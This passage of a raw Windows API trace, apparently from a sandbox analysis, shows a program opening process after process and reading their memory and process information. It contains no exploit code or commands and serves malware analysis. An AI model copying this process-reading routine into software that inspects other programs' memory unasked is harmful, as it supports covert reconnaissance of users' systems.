lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0239.293] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0239.311] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d8) returned 0x464 [0239.312] GetLastError () returned 0x0 [0239.312] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0239.312] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ff018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0239.312] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0239.313] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1b70, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0239.313] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1818, lpBuffer=0x67117c450, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0239.314] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0239.315] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0239.315] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ff020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0239.315] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1200, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0239.316] malloc (_Size=0x42) returned 0x196ef0fbea0 [0239.316] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1858, lpBuffer=0x196ef0fbea0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fbea0*, lpNumberOfBytesRead=0x0) returned 1 [0239.316] free (_Block=0x196ef0fbea0) [0239.418] CloseHandle (hObject=0x464) returned 1 [0239.419] _ui64tow_s (in: _Value=0x580, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="1408") returned 0x0 [0239.423] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="1408") returned 4 [0239.425] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0239.425] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0239.452] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x580) returned 0x464 [0239.452] GetLastError () returned 0x0 [0239.453] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0239.453] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xada0213018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0239.453] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0239.453] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eb702a1bf0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0239.453] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eb702a18c8, lpBuffer=0x67117c450, nSize=0x3e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0239.454] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0239.456] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0239.456] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xada0213020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0239.456] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eb702a12b0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0239.456] malloc (_Size=0x18) returned 0x196ef0d1a80 [0239.456] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eb702a1906, lpBuffer=0x196ef0d1a80, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d1a80*, lpNumberOfBytesRead=0x0) returned 1 [0239.456] free (_Block=0x196ef0d1a80) [0239.504] CloseHandle (hObject=0x464) returned 1 [0239.505] _ui64tow_s (in: _Value=0x634, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="1588") returned 0x0 [0239.509] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="1588") returned 4 [0239.511] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0239.511] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0239.527] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x634) returned 0x464 [0239.527] GetLastError () returned 0x0 [0239.528] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0239.528] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x10d4688018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0239.528] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0239.528] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x15c5b9034a0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0239.528] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x15c5b9030e8, lpBuffer=0x67117c450, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0239.529] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0239.531] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0239.531] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x10d4688020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0239.531] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x15c5b902ad0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0239.531] malloc (_Size=0x64) returned 0x196ef0d0450 [0239.531] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x15c5b903134, lpBuffer=0x196ef0d0450, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0450*, lpNumberOfBytesRead=0x0) returned 1 [0239.532] free (_Block=0x196ef0d0450) [0239.533] CloseHandle (hObject=0x464) returned 1 [0239.534] _ui64tow_s (in: _Value=0x698, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="1688") returned 0x0 [0239.538] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="1688") returned 4 [0239.539] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0239.539] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0239.603] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x698) returned 0x464 [0239.603] GetLastError () returned 0x0 [0239.604] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0239.604] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x39e61be018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0239.604] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0239.604] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a332e033e0, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0239.604] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a332e03048, lpBuffer=0x67117c450, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0239.606] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0239.608] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0239.608] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x39e61be020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0239.608] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a332e02a30, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0239.608] malloc (_Size=0x5a) returned 0x196ef0d0370 [0239.608] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a332e03088, lpBuffer=0x196ef0d0370, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0239.609] free (_Block=0x196ef0d0370) [0239.610] CloseHandle (hObject=0x464) returned 1 [0239.611] _ui64tow_s (in: _Value=0x7e8, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="2024") returned 0x0 [0239.618] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="2024") returned 4 [0239.619] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0239.619] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0239.695] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7e8) returned 0x464 [0239.695] GetLastError () returned 0x0 [0239.696] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0239.696] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x39a018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0239.696] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0239.696] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5a1c50, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0239.697] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5a18e8, lpBuffer=0x67117c450, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0239.698] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0239.700] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0239.700] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x39a020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0239.700] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5a12d0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0239.701] malloc (_Size=0x32) returned 0x196ef0d12d0 [0239.701] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5a1918, lpBuffer=0x196ef0d12d0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d12d0*, lpNumberOfBytesRead=0x0) returned 1 [0239.701] free (_Block=0x196ef0d12d0) [0239.703] CloseHandle (hObject=0x464) returned 1 [0239.703] _ui64tow_s (in: _Value=0x2e0, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="736") returned 0x0 [0239.711] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="736") returned 3 [0239.712] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0239.713] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0239.729] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2e0) returned 0x464 [0239.729] GetLastError () returned 0x0 [0239.730] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0239.730] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xa6def54018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0239.730] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0239.730] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x23ea7c31c70, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0239.730] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x23ea7c318c8, lpBuffer=0x67117c450, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0239.731] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0239.733] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0239.733] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xa6def54020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0239.733] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x23ea7c312b0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0239.733] malloc (_Size=0x6c) returned 0x196ef0d2120 [0239.734] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x23ea7c3190c, lpBuffer=0x196ef0d2120, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0239.734] free (_Block=0x196ef0d2120) [0239.736] CloseHandle (hObject=0x464) returned 1 [0239.736] _ui64tow_s (in: _Value=0x8d4, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="2260") returned 0x0 [0239.790] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="2260") returned 4 [0239.791] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0239.791] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0239.818] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8d4) returned 0x464 [0239.818] GetLastError () returned 0x0 [0239.818] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0239.818] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1163c21018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0239.911] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0240.114] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c798303780, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0240.536] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c7983032e8, lpBuffer=0x67117c450, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0240.820] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0240.865] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0240.866] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1163c21020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0240.957] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c798302c60, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0241.098] malloc (_Size=0x118) returned 0x196ef0d4e70 [0241.099] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c798303388, lpBuffer=0x196ef0d4e70, nSize=0x116, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0241.221] free (_Block=0x196ef0d4e70) [0241.223] CloseHandle (hObject=0x464) returned 1 [0241.224] _ui64tow_s (in: _Value=0x934, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="2356") returned 0x0 [0241.231] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="2356") returned 4 [0241.239] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0241.239] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0241.309] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x934) returned 0x464 [0241.309] GetLastError () returned 0x0 [0241.310] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0241.310] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc29bf78018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0241.471] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0241.580] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28460e03730, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0241.775] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28460e032b4, lpBuffer=0x67117c450, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0242.047] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0242.219] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0242.219] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc29bf78020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0242.390] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28460e02c20, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0242.483] malloc (_Size=0x11a) returned 0x196ef0d4e70 [0242.483] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28460e0334a, lpBuffer=0x196ef0d4e70, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0242.640] free (_Block=0x196ef0d4e70) [0242.641] CloseHandle (hObject=0x464) returned 1 [0242.642] _ui64tow_s (in: _Value=0x8, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="8") returned 0x0 [0242.648] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="8") returned 1 [0242.649] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: 